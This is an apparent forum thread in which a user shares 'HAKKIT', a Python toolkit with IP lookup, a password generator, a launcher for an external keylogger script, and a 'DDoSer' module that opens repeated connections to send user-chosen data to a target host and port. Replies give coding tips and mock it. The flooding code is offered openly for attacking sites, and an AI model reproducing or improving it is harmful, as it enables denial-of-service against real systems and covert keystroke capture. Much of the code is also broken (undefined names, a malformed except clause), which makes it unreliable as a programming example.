chevron_left chevron_right
Login Register invert_colors photo_library


Stay updated and chat with others! - Join the Discord!
Thread Rating:
  • 0 Vote(s) - 0 Average


Project HAKKIT filter_list
Author
Message
Project HAKKIT #1
A semi-useful toolkit. Everything except for the udp flooder/DDoSer was programmed by me.

Here is the code:

Code:
import time, socket, os, sys, string, pyHook, pythoncom, logging, random, webbrowser

try:
    def rld(event):
        os.startfile("HAKKIT.py"),exit()

    def close(event):
        exit()

    onload = input("[HAKKIT] Your IP address: %s \n[HAKKIT]MODULES: Ip Resolver, Ip checker, Keylogger, DDoSer, SPG, browser.\n[HAKKIT]Which module would you like to load? " % socket.gethostbyname(socket.gethostname()))

    if onload == "ip resolver":
        def loop(event):
            os.startfile("ipresolver.py"),exit()

        host = input( "Site you want to find Ip: " )
        ip = socket.gethostbyname( host )
        print ("The ip is : %s " % ip)
        if __name__ == "__main__":
            answer = input("Do you want to search for another site's IP? ")
            if answer== "yes":
                loop(host)
            elif answer == "no":
                rld(onload)
            else:
                os.system(curdir+"\Deq\main.py")

    elif onload == "ip checker":
        def loop(event):
            os.startfile("ipchecker.py"),close(begin)
        
        def close(event):
            os.system('taskkill /PID %d /F' % os.getpid())

        msg = print("[IP CHECK]Loading."), time.sleep(2), print("[IP CHECK]Loaded."), time.sleep(1)
        begin = print("[IP CHECK]%s " % socket.gethostbyname(socket.gethostname())), time.sleep(1)
        answer = input("[IP CHECK]Reload? ")
        if answer == "yes":
            loop(begin)
        elif answer == "no":
            try:
                print("[IP CHECK]Process killed.")
                close(begin)
            except Exception as e:
                print(e)
        else:
            print("[IP CHECK]Invalid command."), time.sleep(2), loop(begin)

    elif onload == "ddoser":
        host=input( "TARGET:" )
        port=input( "TARGET PORT:" )
        message=input( "MESSAGE TO SEND:" )
        conn=input( "EXPECTED PACKET COUNT:" )
        ip = socket.gethostbyname( host )
        print ("[" + ip + "]")
        print ( "[Ip is locked]" )
        print ( "[Attacking " + host + "]" )
        print ("+----------------------------+")
        def dos():
            ddos = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            try:
                ddos.connect((host, 80))
                ddos.send( message )
                ddos.sendto( message, (ip, port) )
                ddos.send( message );
            except (socket.error, msg):
                print("|[Connection Failed]         |")
            print ( "|[DDoS Attack Engaged]       |")
            ddos.close()
        for i in range(1, conn):
            dos()

    elif onload == "keylogger":
        os.startfile("keylogger.bat")

    elif onload == "spg":
        def loop(event):
            length = random.randint(8,20)
            character_set = string.ascii_letters + string.digits + '~!@#$%^&*()_+=-`/'
            random.seed = (os.urandom(1024))
            password = print("[PASSGEN]Generated password:\n" + " ".join(random.choice(character_set) for i in range(length)).replace(" ", ""))
            
        length = random.randint(8,20)
        character_set = string.ascii_letters + string.digits + '~!@#$%^&*()_+=-`/'
        random.seed = (os.urandom(1024))

        msg = print("[PASSGEN]Generating password."),time.sleep(2)
        password = print("[PASSGEN]Generated password:\n" + " ".join(random.choice(character_set) for i in range(length)).replace(" ", ""))
        answer = input("[PASSGEN]Would you like to generate a new password? ")
        if answer == "yes":
            loop(password)
        elif answer == "no":
            rld(onload)
        else:
            ans = input("[PASSGEN]Unknown command. Either \"yes\" or \"no\". \nWould you like to generate a new password? ")
            if ans == "yes":
                loop(password)
            elif ans == "no":
                rld(onload)
            else:
                rld(onload)

    elif onload == "browser":
        x = webbrowser.open('%s' % input("URL: http://").replace(" ",""))
        rld(onload)
                
except Exception as e:
    print("[HAKKIT] ERROR: %s " % e)

Reply

RE: Project HAKKIT #2
Instead of your way of reloading and closing the program, you can just define everything as a function and recurse.

For example:
Code:
## untitled.py

def main():
    l = input("What letter do you want the number of? ")
    l = l.lower()
    print( "The letter " + l + " is letter number " + str(ord(l)-96) )

    decision = input("Would you like to get the number of another letter?(y/n) ").lower()

    if( decision == "y" ):
        main()
        return
    else:
        return

    print("This is never ran.")
    
main()

## <3 W00t
micrictor@creep.im

Reply

RE: Project HAKKIT #3
you used the "else" part!!! Smile
anyway, I'll look into this...
at least try xD
[Image: TeusoI9.png]
BACK UNDER YOUR BEDS
TRY TO GET A GOOD NIGHT'S SLEEP NOW

Reply

RE: Project HAKKIT #4
sorry but this is really, really lame. 1+ for effort on the code though.

Reply






Users browsing this thread: 1 Guest(s)